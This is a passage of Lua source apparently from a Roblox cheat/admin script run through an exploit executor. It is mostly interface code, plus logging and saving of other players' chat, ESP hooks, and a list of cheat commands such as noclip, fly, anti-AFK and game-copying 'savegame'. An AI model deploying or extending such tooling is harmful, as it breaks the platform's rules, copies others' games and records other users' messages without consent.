  2846. shade1Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade1) end end)
  2847. shade1Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade1Button.BackgroundTransparency = 0.4 end end)
  2848. shade1Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade1Button.BackgroundTransparency = 0 end end)
  2849.  
  2850. shade2Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade2) end end)
  2851. shade2Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade2Button.BackgroundTransparency = 0.4 end end)
  2852. shade2Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade2Button.BackgroundTransparency = 0 end end)
  2853.  
  2854. shade3Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade3) end end)
  2855. shade3Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade3Button.BackgroundTransparency = 0.4 end end)
  2856. shade3Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade3Button.BackgroundTransparency = 0 end end)
  2857.  
  2858. text1Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,text1) end end)
  2859. text1Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text1Button.BackgroundTransparency = 0.4 end end)
  2860. text1Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text1Button.BackgroundTransparency = 0 end end)
  2861.  
  2862. text2Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,text2) end end)
  2863. text2Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text2Button.BackgroundTransparency = 0.4 end end)
  2864. text2Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text2Button.BackgroundTransparency = 0 end end)
  2865.  
  2866. scrollButton.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,scroll) end end)
  2867. scrollButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then scrollButton.BackgroundTransparency = 0.4 end end)
  2868. scrollButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then scrollButton.BackgroundTransparency = 0 end end)
  2869.  
  2870. cancelButton.MouseButton1Click:Connect(function() if newMt.Cancel then newMt:Cancel() end end)
  2871. cancelButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0.4 end end)
  2872. cancelButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0 end end)
  2873.  
  2874. defaultButton.MouseButton1Click:Connect(function() if newMt.Default then newMt:Default() end end)
  2875. defaultButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0.4 end end)
  2876. defaultButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0 end end)
  2877.  
  2878. pickerExit.MouseButton1Click:Connect(function()
  2879. picker:TweenPosition(UDim2.new(0.5, -219, 0, -500), "InOut", "Quart", 0.5, true, nil)
  2880. end)
  2881.  
  2882. updateColor()
  2883.  
  2884. newMt.SetColor = function(self,color)
  2885. red,green,blue = color.r,color.g,color.b
  2886. hue,sat,val = Color3.toHSV(color)
  2887. updateColor()
  2888. end
  2889.  
  2890. return newMt
  2891. end
  2892. end
  2893.  
  2894. picker:TweenPosition(UDim2.new(0.5, -219, 0, 100), "InOut", "Quart", 0.5, true, nil)
  2895.  
  2896. local Npicker = ColorPicker.new()
  2897. Npicker.Confirm = function(self,color,ctype) updateColors(color,ctype) wait() updatesaves() end
  2898. Npicker.Cancel = function(self)
  2899. updateColors(cache_currentShade1,shade1)
  2900. updateColors(cache_currentShade2,shade2)
  2901. updateColors(cache_currentShade3,shade3)
  2902. updateColors(cache_currentText1,text1)
  2903. updateColors(cache_currentText2,text2)
  2904. updateColors(cache_currentScroll,scroll)
  2905. wait()
  2906. updatesaves()
  2907. end
  2908. Npicker.Default = function(self)
  2909. updateColors(Color3.fromRGB(36, 36, 37),shade1)
  2910. updateColors(Color3.fromRGB(46, 46, 47),shade2)
  2911. updateColors(Color3.fromRGB(78, 78, 79),shade3)
  2912. updateColors(Color3.new(1, 1, 1),text1)
  2913. updateColors(Color3.new(0, 0, 0),text2)
  2914. updateColors(Color3.fromRGB(78,78,79),scroll)
  2915. wait()
  2916. updatesaves()
  2917. end
  2918. else
  2919. picker:TweenPosition(UDim2.new(0.5, -219, 0, 100), "InOut", "Quart", 0.5, true, nil)
  2920. end
  2921. end)
  2922.  
  2923.  
  2924. Holder.SettingsButton.MouseButton1Click:Connect(function()
  2925. if SettingsOpen == false then SettingsOpen = true
  2926. Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.5, true, nil)
  2927. Holder.CMDs.Visible = false
  2928. else SettingsOpen = false
  2929. Holder.CMDs.Visible = true
  2930. Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.5, true, nil)
  2931. end
  2932. end)
  2933.  
  2934. Holder.Settings.StayOpen.Button.On.MouseButton1Click:Connect(function()
  2935. if StayOpen == false then StayOpen = true
  2936. Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 0
  2937. else StayOpen = false
  2938. Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 1
  2939. end
  2940. updatesaves()
  2941. end)
  2942.  
  2943. Clear.MouseButton1Down:connect(function()
  2944. for _, child in pairs(scrollCL:GetChildren()) do
  2945. child:Destroy()
  2946. end
  2947. scrollCL.CanvasSize = UDim2.new(0, 0, 0, 10)
  2948. end)
  2949.  
  2950. Toggle.MouseButton1Down:connect(function()
  2951. if logsEnabled then
  2952. logsEnabled = false
  2953. Toggle.Text = 'Disabled'
  2954. updatesaves()
  2955. else
  2956. logsEnabled = true
  2957. Toggle.Text = 'Enabled'
  2958. updatesaves()
  2959. end
  2960. end)
  2961.  
  2962. if not writefileExploit() then
  2963. notify('Saves','Your exploit does not support read/write file. Your settings will not save.')
  2964. end
  2965.  
  2966. ChatLog = function(plr)
  2967. plr.Chatted:Connect(function(Message)
  2968. if logsEnabled == true then
  2969. CreateLabel(plr.Name,Message)
  2970. end
  2971. end)
  2972. end
  2973.  
  2974. SaveChatlogs.MouseButton1Down:connect(function()
  2975. if writefileExploit() then
  2976. if #scrollCL:GetChildren() > 0 then
  2977. notify("Loading",'Hold on a second')
  2978. local placeName = game:GetService('MarketplaceService'):GetProductInfo(game.PlaceId).Name
  2979. local writelogs = '-- Infinite Yield Chat logs for "'..placeName..'"\n'
  2980. for _, child in pairs(scrollCL:GetChildren()) do
  2981. writelogs = writelogs..'\n'..child.Text
  2982. end
  2983. local writelogsFile = tostring(writelogs)
  2984. local fileext = 0
  2985. local function nameFile()
  2986. local file
  2987. pcall(function() file = readfile(placeName..' Chat Logs ('..fileext..').txt') end)
  2988. if file then
  2989. fileext = fileext+1
  2990. nameFile()
  2991. else
  2992. writefileCooldown(placeName..' Chat Logs ('..fileext..').txt', writelogsFile)
  2993. end
  2994. end
  2995. nameFile()
  2996. notify('Chat Logs','Saved chat logs to the workspace folder within your exploit folder.')
  2997. end
  2998. else
  2999. notify('Chat Logs','Your exploit does not support write file. You cannot save chat logs.')
  3000. end
  3001. end)
  3002.  
  3003. for _, plr in pairs(Players:GetChildren()) do
  3004. if plr.ClassName == "Player" then
  3005. ChatLog(plr)
  3006. end
  3007. end
  3008.  
  3009. Players.PlayerAdded:connect(function(player)
  3010. ChatLog(player)
  3011. if ESPenabled then
  3012. repeat wait(1) until player.Character and player.Character:FindFirstChild('HumanoidRootPart')
  3013. ESP(player)
  3014. end
  3015. if CHMSenabled then
  3016. repeat wait(1) until player.Character and player.Character:FindFirstChild('HumanoidRootPart')
  3017. CHMS(player)
  3018. end
  3019. end)
  3020.  
  3021. Players.PlayerRemoving:connect(function(player)
  3022. for i,v in pairs(PARENT:GetChildren()) do
  3023. if v.Name == player.Name..'_ESP' or v.Name == player.Name..'_LC' then
  3024. v:Destroy()
  3025. end
  3026. end
  3027. if viewing ~= nil and player == viewing then
  3028. workspace.CurrentCamera.CameraSubject = Players.LocalPlayer.Character
  3029. viewing = nil
  3030. if viewDied then
  3031. viewDied:Disconnect()
  3032. end
  3033. notify('Spectate','View turned off (player left)')
  3034. end
  3035. end)
  3036.  
  3037. shadow.Exit.MouseButton1Down:connect(function()
  3038. logsDrag:TweenPosition(UDim2.new(0, 0, 1, 10), "InOut", "Quart", 0.3, true, nil)
  3039. end)
  3040.  
  3041. shadow.Hide.MouseButton1Down:connect(function()
  3042. if logsDrag.Position ~= UDim2.new(0, 0, 1, -20) then
  3043. logsDrag:TweenPosition(UDim2.new(0, 0, 1, -20), "InOut", "Quart", 0.3, true, nil)
  3044. else
  3045. logsDrag:TweenPosition(UDim2.new(0, 0, 1, -245), "InOut", "Quart", 0.3, true, nil)
  3046. end
  3047. end)
  3048.  
  3049. SpawnC.Select.MouseButton1Click:Connect(function()
  3050. SpawnCFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  3051. wait(0.5)
  3052. disablebuttons()
  3053. end)
  3054.  
  3055. SpawnCFrame.Close.MouseButton1Click:Connect(function()
  3056. enablebuttons()
  3057. SpawnCFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
  3058. end)
  3059.  
  3060. SpawnCFrame.Delete.MouseButton1Click:Connect(function()
  3061. spawnCmds = {}
  3062. updatesaves()
  3063. refreshSpawnC()
  3064. notify('Spawn Commands Updated','Cleared all spawn commands')
  3065. end)
  3066.  
  3067. Add_5.MouseButton1Click:Connect(function()
  3068. if Cmdbar_3.Text ~= '' and Cmdbar_3.Text ~= 'Command' then
  3069. if isNumber(DelayNum.Text) then
  3070. addspawn(Cmdbar_3.Text,tonumber(DelayNum.Text))
  3071. refreshSpawnC()
  3072. updatesaves()
  3073. notify('Spawn Commands Updated','"'..Cmdbar_3.Text..'" will run when your player spawns')
  3074. else
  3075. notify('Spawn Command Error','Command delay must be a number')
  3076. end
  3077. end
  3078. end)
  3079.  
  3080. Keybinds.Select.MouseButton1Click:Connect(function()
  3081. KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  3082. wait(0.5)
  3083. disablebuttons()
  3084. end)
  3085.  
  3086. KeybindsFrame.Close.MouseButton1Click:Connect(function()
  3087. enablebuttons()
  3088. KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
  3089. end)
  3090.  
  3091. Holder.Settings.Keybinds.Select.MouseButton1Click:Connect(function()
  3092. KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  3093. wait(0.5)
  3094. disablebuttons()
  3095. end)
  3096.  
  3097. KeybindsFrame.Add.MouseButton1Click:Connect(function()
  3098. KeybindEditor:TweenPosition(UDim2.new(0.5, -180, 0, 260), "InOut", "Quart", 0.5, true, nil)
  3099. end)
  3100.  
  3101. KeybindsFrame.Delete.MouseButton1Click:Connect(function()
  3102. binds = {}
  3103. refreshbinds()
  3104. updatesaves()
  3105. notify('Keybinds Updated','Removed all keybinds')
  3106. end)
  3107.  
  3108. AliasesFrame.Close.MouseButton1Click:Connect(function()
  3109. enablebuttons()
  3110. AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
  3111. end)
  3112.  
  3113. Settings.Aliases.Select.MouseButton1Click:Connect(function()
  3114. AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  3115. wait(0.5)
  3116. disablebuttons()
  3117. end)
  3118.  
  3119. PositionsFrame.Close.MouseButton1Click:Connect(function()
  3120. enablebuttons()
  3121. PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
  3122. end)
  3123.  
  3124. Settings.Positions.Select.MouseButton1Click:Connect(function()
  3125. PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  3126. wait(0.5)
  3127. disablebuttons()
  3128. end)
  3129.  
  3130. SpawnCFrame.Add.MouseButton1Click:Connect(function()
  3131. SpawnCEditor:TweenPosition(UDim2.new(0.5, -180, 0, 285), "InOut", "Quart", 0.5, true, nil)
  3132. end)
  3133.  
  3134. Exit_4.MouseButton1Click:Connect(function()
  3135. SpawnCEditor:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
  3136. Cmdbar_3.Text = 'Command'
  3137. DelayNum.Text = '0'
  3138. end)
  3139.  
  3140. selectionBox = Instance.new("SelectionBox")
  3141. selectionBox.Name = randomString()
  3142. selectionBox.Color3 = Color3.new(255,255,255)
  3143. selectionBox.Adornee = nil
  3144. selectionBox.Parent = PARENT
  3145.  
  3146. selected = Instance.new("SelectionBox")
  3147. selected.Name = randomString()
  3148. selected.Color3 = Color3.new(0,166,0)
  3149. selected.Adornee = nil
  3150. selected.Parent = PARENT
  3151.  
  3152. ActivateHighlight = nil
  3153. ClickSelect = nil
  3154. Part.MouseButton1Click:Connect(function()
  3155. ToPartFrame:TweenPosition(UDim2.new(0.5, -180, 0, 335), "InOut", "Quart", 0.5, true, nil)
  3156. local function HighlightPart()
  3157. if selected.Adornee ~= Players.LocalPlayer:GetMouse().Target then
  3158. selectionBox.Adornee = Players.LocalPlayer:GetMouse().Target
  3159. else
  3160. selectionBox.Adornee = nil
  3161. end
  3162. end
  3163. ActivateHighlight = Players.LocalPlayer:GetMouse().Move:connect(HighlightPart)
  3164. local function SelectPart()
  3165. if Players.LocalPlayer:GetMouse().Target ~= nil then
  3166. selected.Adornee = Players.LocalPlayer:GetMouse().Target
  3167. Path.Text = getHierarchy(Players.LocalPlayer:GetMouse().Target)
  3168. end
  3169. end
  3170. ClickSelect = IYMouse.Button1Down:connect(SelectPart)
  3171. end)
  3172.  
  3173. Exit_5.MouseButton1Click:Connect(function()
  3174. ToPartFrame:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
  3175. if ActivateHighlight then
  3176. ActivateHighlight:Disconnect()
  3177. end
  3178. if ClickSelect then
  3179. ClickSelect:Disconnect()
  3180. end
  3181. selectionBox.Adornee = nil
  3182. selected.Adornee = nil
  3183. Path.Text = ""
  3184. end)
  3185.  
  3186. CopyPath.MouseButton1Click:Connect(function()
  3187. if Path.Text ~= "" then
  3188. toClipboard(Path.Text)
  3189. else
  3190. notify('Copy Path','Select a part to copy its path')
  3191. end
  3192. end)
  3193.  
  3194. ChoosePart.MouseButton1Click:Connect(function()
  3195. if Path.Text ~= "" then
  3196. local tpNameExt = ''
  3197. local function handleWpNames()
  3198. local FoundDupe = false
  3199. for i,v in pairs(pWayPoints) do
  3200. if v.NAME:lower() == selected.Adornee.Name:lower()..tpNameExt then
  3201. FoundDupe = true
  3202. end
  3203. end
  3204. if not FoundDupe then
  3205. notify('Modified Waypoints',"Created waypoint: "..selected.Adornee.Name..tpNameExt)
  3206. pWayPoints[#pWayPoints + 1] = {NAME = selected.Adornee.Name..tpNameExt, COORD = {selected.Adornee}}
  3207. else
  3208. if isNumber(tpNameExt) then
  3209. tpNameExt = tpNameExt+1
  3210. else
  3211. tpNameExt = 1
  3212. end
  3213. handleWpNames()
  3214. end
  3215. end
  3216. handleWpNames()
  3217. refreshwaypoints()
  3218. else
  3219. notify('Part Selection','Select a part first')
  3220. end
  3221. end)
  3222.  
  3223. cmds={}
  3224. customAlias = {}
  3225. AliasesFrame.Delete.MouseButton1Click:Connect(function()
  3226. customAlias = {}
  3227. aliases = {}
  3228. notify('Aliases Modified','Removed all aliases')
  3229. updatesaves()
  3230. refreshaliases()
  3231. end)
  3232.  
  3233. Holder.Settings.Prefix.PrefixBox:GetPropertyChangedSignal("Text"):connect(function()
  3234. prefix = Holder.Settings.Prefix.PrefixBox.Text
  3235. updatesaves()
  3236. end)
  3237.  
  3238. function CamViewport()
  3239. if workspace.CurrentCamera then
  3240. return workspace.CurrentCamera.ViewportSize.X
  3241. end
  3242. end
  3243.  
  3244. function UpdateToViewport()
  3245. if Holder.Position.X.Offset < -CamViewport() then
  3246. Holder:TweenPosition(UDim2.new(1, -CamViewport(), Holder.Position.Y.Scale, Holder.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
  3247. Notification:TweenPosition(UDim2.new(1, -CamViewport() + 250, Notification.Position.Y.Scale, Notification.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
  3248. end
  3249. end
  3250. CameraChanged = workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):connect(UpdateToViewport)
  3251.  
  3252. function updateCamera(child, parent)
  3253. if parent ~= workspace then
  3254. CamMoved:Disconnect()
  3255. CameraChanged:Disconnect()
  3256. repeat wait() until workspace.CurrentCamera
  3257. CameraChanged = workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):connect(UpdateToViewport)
  3258. CamMoved = workspace.CurrentCamera.AncestryChanged:Connect(updateCamera)
  3259. end
  3260. end
  3261. CamMoved = workspace.CurrentCamera.AncestryChanged:Connect(updateCamera)
  3262.  
  3263. function dragMain(dragpoint,gui)
  3264. spawn(function()
  3265. local dragging
  3266. local dragInput
  3267. local dragStart
  3268. local startPos
  3269. local function update(input)
  3270. local pos = -250
  3271. local delta = input.Position - dragStart
  3272. if startPos.X.Offset + delta.X <= -500 then
  3273. local Position = UDim2.new(1, -250, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
  3274. game:GetService("TweenService"):Create(Notification, TweenInfo.new(.20), {Position = Position}):Play()
  3275. pos = 250
  3276. else
  3277. local Position = UDim2.new(1, -500, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
  3278. game:GetService("TweenService"):Create(Notification, TweenInfo.new(.20), {Position = Position}):Play()
  3279. pos = -250
  3280. end
  3281. if startPos.X.Offset + delta.X <= -250 and -CamViewport() <= startPos.X.Offset + delta.X then
  3282. local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, gui.Position.Y.Scale, gui.Position.Y.Offset)
  3283. game:GetService("TweenService"):Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
  3284. local Position2 = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X + pos, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
  3285. game:GetService("TweenService"):Create(Notification, TweenInfo.new(.20), {Position = Position2}):Play()
  3286. elseif startPos.X.Offset + delta.X > -500 then
  3287. local Position = UDim2.new(1, -250, gui.Position.Y.Scale, gui.Position.Y.Offset)
  3288. game:GetService("TweenService"):Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
  3289. elseif -CamViewport() > startPos.X.Offset + delta.X then
  3290. gui:TweenPosition(UDim2.new(1, -CamViewport(), gui.Position.Y.Scale, gui.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
  3291. local Position = UDim2.new(1, -CamViewport(), gui.Position.Y.Scale, gui.Position.Y.Offset)
  3292. game:GetService("TweenService"):Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
  3293. local Position2 = UDim2.new(1, -CamViewport() + 250, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
  3294. game:GetService("TweenService"):Create(Notification, TweenInfo.new(.20), {Position = Position2}):Play()
  3295. end
  3296. end
  3297. dragpoint.InputBegan:Connect(function(input)
  3298. if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
  3299. dragging = true
  3300. dragStart = input.Position
  3301. startPos = gui.Position
  3302.  
  3303. input.Changed:Connect(function()
  3304. if input.UserInputState == Enum.UserInputState.End then
  3305. dragging = false
  3306. end
  3307. end)
  3308. end
  3309. end)
  3310. dragpoint.InputChanged:Connect(function(input)
  3311. if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  3312. dragInput = input
  3313. end
  3314. end)
  3315. UserInputService.InputChanged:Connect(function(input)
  3316. if input == dragInput and dragging then
  3317. update(input)
  3318. end
  3319. end)
  3320. end)
  3321. end
  3322.  
  3323. dragMain(Title,Holder)
  3324.  
  3325. function dragGUI(gui)
  3326. spawn(function()
  3327. local dragging
  3328. local dragInput
  3329. local dragStart
  3330. local startPos
  3331. local function update(input)
  3332. local delta = input.Position - dragStart
  3333. local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
  3334. game:GetService("TweenService"):Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
  3335. end
  3336. gui.InputBegan:Connect(function(input)
  3337. if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
  3338. dragging = true
  3339. dragStart = input.Position
  3340. startPos = gui.Position
  3341.  
  3342. input.Changed:Connect(function()
  3343. if input.UserInputState == Enum.UserInputState.End then
  3344. dragging = false
  3345. end
  3346. end)
  3347. end
  3348. end)
  3349. gui.InputChanged:Connect(function(input)
  3350. if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  3351. dragInput = input
  3352. end
  3353. end)
  3354. UserInputService.InputChanged:Connect(function(input)
  3355. if input == dragInput and dragging then
  3356. update(input)
  3357. end
  3358. end)
  3359. end)
  3360. end
  3361.  
  3362. dragGUI(logsDrag)
  3363. dragGUI(KeybindEditor)
  3364. dragGUI(PluginEditor)
  3365. dragGUI(SpawnCEditor)
  3366. dragGUI(ToPartFrame)
  3367.  
  3368. CSP = Holder
  3369. frame = CSP:WaitForChild('CMDs')
  3370.  
  3371. Match = function(name,str)
  3372. return name:lower():find(str:lower()) and true
  3373. end
  3374.  
  3375. canvasPos = nil
  3376. canvasTop = false
  3377. topCommand = nil
  3378. IndexContents = function(str,bool,cmdbar,Ianim)
  3379. if str == '' or str == ' ' or str == prefix then
  3380. if canvasTop == false then
  3381. canvasPos = CMDsF.CanvasPosition.Y
  3382. end
  3383. else
  3384. CMDsF.CanvasPosition = Vector2.new(0,0)
  3385. canvasTop = true
  3386. end
  3387. local Index,SizeY = 0,0
  3388. local indexnum = 0
  3389. topCommand = nil
  3390. for i,v in next, frame:GetChildren() do
  3391. if bool then
  3392. if Match(v.Text,str) then
  3393. indexnum = indexnum + 1
  3394. Index = Index + 1
  3395. v.Visible = true
  3396. v:TweenPosition(UDim2.new(0,10,0,Index*v.AbsoluteSize.Y-v.AbsoluteSize.Y), "InOut", "Quart", 0.2, true, nil)
  3397. SizeY = SizeY + v.AbsoluteSize.Y
  3398. frame.CanvasSize = UDim2.new(0,0,0,SizeY)
  3399. if topCommand == nil then
  3400. topCommand = v.Text
  3401. end
  3402. else
  3403. v.Visible = false
  3404. end
  3405. else
  3406. v.Visible = true
  3407. SizeY = SizeY + v.AbsoluteSize.Y
  3408. frame.CanvasSize = UDim2.new(0,0,0,SizeY)
  3409. if topCommand == nil then
  3410. topCommand = v.Text
  3411. end
  3412. end
  3413. end
  3414. if not Ianim then
  3415. if indexnum == 0 or string.find(str, " ") then
  3416. if not cmdbar then
  3417. minimizeHolder()
  3418. elseif cmdbar then
  3419. cmdbarHolder()
  3420. end
  3421. else
  3422. maximizeHolder()
  3423. end
  3424. else
  3425. minimizeHolder()
  3426. end
  3427. end
  3428.  
  3429. PlayerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
  3430. local chatbox
  3431. if pcall(function() chatbox = Players.LocalPlayer:FindFirstChildWhichIsA("PlayerGui").Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar end) then
  3432. local function Index()
  3433. if chatbox.Text:lower():sub(1,1) == prefix then
  3434. if SettingsOpen == true then
  3435. wait(0.2)
  3436. Holder.CMDs.Visible = true
  3437. Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.2, true, nil)
  3438. end
  3439. IndexContents(PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar.Text:lower():sub(2),true)
  3440. else
  3441. minimizeHolder()
  3442. if SettingsOpen == true then
  3443. wait(0.2)
  3444. Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.2, true, nil)
  3445. Holder.CMDs.Visible = false
  3446. end
  3447. end
  3448. end
  3449. chatbox:GetPropertyChangedSignal("Text"):Connect(Index)
  3450.  
  3451. chatbox.FocusLost:connect(function(enterpressed)
  3452. if not enterpressed or chatbox.Text:lower():sub(1,1) ~= prefix then
  3453. IndexContents('',true)
  3454. if canvasPos ~= nil then
  3455. CMDsF.CanvasPosition = Vector2.new(0, canvasPos)
  3456. canvasTop = false
  3457. end
  3458. end
  3459. minimizeHolder()
  3460. end)
  3461.  
  3462. Players.LocalPlayer:FindFirstChildWhichIsA("PlayerGui").Chat.Frame.ChatBarParentFrame.ChildAdded:Connect(function(newbar)
  3463. wait()
  3464. if newbar:FindFirstChild('BoxFrame') then
  3465. chatbox = Players.LocalPlayer:FindFirstChildWhichIsA("PlayerGui").Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar
  3466. chatbox:GetPropertyChangedSignal("Text"):Connect(Index)
  3467. end
  3468. end)
  3469. else
  3470. print('Custom chat detected. Will not provide suggestions for commands typed in the chat.')
  3471. end
  3472.  
  3473. function autoComplete(str)
  3474. local endingChar = {"[", "/", "(", " "}
  3475. local stop = 0
  3476. for i=1,#str do
  3477. local c = str:sub(i,i)
  3478. if table.find(endingChar, c) then
  3479. stop = i
  3480. break
  3481. end
  3482. end
  3483. Holder.Cmdbar.Text = str:sub(1, stop - 1)..' '
  3484. wait()
  3485. Holder.Cmdbar.Text = Holder.Cmdbar.Text:gsub( '\t', '' )
  3486. Holder.Cmdbar.CursorPosition = 1020
  3487. end
  3488.  
  3489. CMDs = {}
  3490. CMDs[#CMDs + 1] = {NAME = 'console', DESC = 'Loads old Roblox console'}
  3491. CMDs[#CMDs + 1] = {NAME = 'explorer / dex', DESC = 'Opens DEX explorer'}
  3492. CMDs[#CMDs + 1] = {NAME = 'serverinfo / info', DESC = 'Gives you info about the server'}
  3493. CMDs[#CMDs + 1] = {NAME = 'rejoin / rj', DESC = 'Makes you rejoin the game'}
  3494. CMDs[#CMDs + 1] = {NAME = 'serverhop / shop', DESC = 'Teleports you to a different server'}
  3495. CMDs[#CMDs + 1] = {NAME = 'joinplayer [username / ID] [place ID]', DESC = 'Joins a specific players server'}
  3496. CMDs[#CMDs + 1] = {NAME = 'gameteleport / gametp [place ID]', DESC = 'Joins a game by ID'}
  3497. CMDs[#CMDs + 1] = {NAME = 'antiidle / antiafk', DESC = 'Prevents the game from kicking you for being idle/afk'}
  3498. CMDs[#CMDs + 1] = {NAME = 'nopurchaseprompts / noprompts', DESC = 'Prevents the game from showing you purchase prompts'}
  3499. CMDs[#CMDs + 1] = {NAME = 'showpurchaseprompts / showprompts', DESC = 'Allows the game to show purchase prompts again'}
  3500. CMDs[#CMDs + 1] = {NAME = 'enable [inventory/playerlist/chat/all]', DESC = 'Toggles visibility of coregui items'}
  3501. CMDs[#CMDs + 1] = {NAME = 'disable [inventory/playerlist/chat/all]', DESC = 'Toggles visibility of coregui items'}
  3502. CMDs[#CMDs + 1] = {NAME = 'showguis', DESC = 'Shows any invisible GUIs'}
  3503. CMDs[#CMDs + 1] = {NAME = 'unshowguis', DESC = 'Undoes showguis'}
  3504. CMDs[#CMDs + 1] = {NAME = 'hideguis', DESC = 'Hides any GUIs in PlayerGui'}
  3505. CMDs[#CMDs + 1] = {NAME = 'unhideguis', DESC = 'Undoes hideguis'}
  3506. CMDs[#CMDs + 1] = {NAME = 'savegame / saveplace', DESC = 'Uses saveinstance to save the game'}
  3507. CMDs[#CMDs + 1] = {NAME = 'clearerror', DESC = 'Clears the annoying box and blur when a game kicks you'}
  3508. CMDs[#CMDs + 1] = {NAME = 'exit', DESC = 'Kills roblox process'}
  3509. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3510. CMDs[#CMDs + 1] = {NAME = 'noclip', DESC = 'Go through objects'}
  3511. CMDs[#CMDs + 1] = {NAME = 'unnoclip / clip', DESC = 'Disables noclip'}
  3512. CMDs[#CMDs + 1] = {NAME = 'fly', DESC = 'Makes you fly'}
  3513. CMDs[#CMDs + 1] = {NAME = 'unfly', DESC = 'Disables fly'}
  3514. CMDs[#CMDs + 1] = {NAME = 'flyspeed [num]', DESC = 'Set fly speed (default is 20)'}
  3515. CMDs[#CMDs + 1] = {NAME = 'vehiclefly / vfly', DESC = 'Makes you fly in a vehicle'}
  3516. CMDs[#CMDs + 1] = {NAME = 'unvehiclefly / unvfly', DESC = 'Disables vehicle fly'}
  3517. CMDs[#CMDs + 1] = {NAME = 'vehicleflyspeed / vflyspeed [num]', DESC = 'Set vehicle fly speed'}
  3518. CMDs[#CMDs + 1] = {NAME = 'float / platform', DESC = 'Spawns a platform beneath you causing you to float'}
  3519. CMDs[#CMDs + 1] = {NAME = 'unfloat / noplatform', DESC = 'Removes the platform'}
  3520. CMDs[#CMDs + 1] = {NAME = 'swim', DESC = 'Allows you to swim in the air'}
  3521. CMDs[#CMDs + 1] = {NAME = 'unswim / noswim', DESC = 'Stops you from swimming everywhere'}
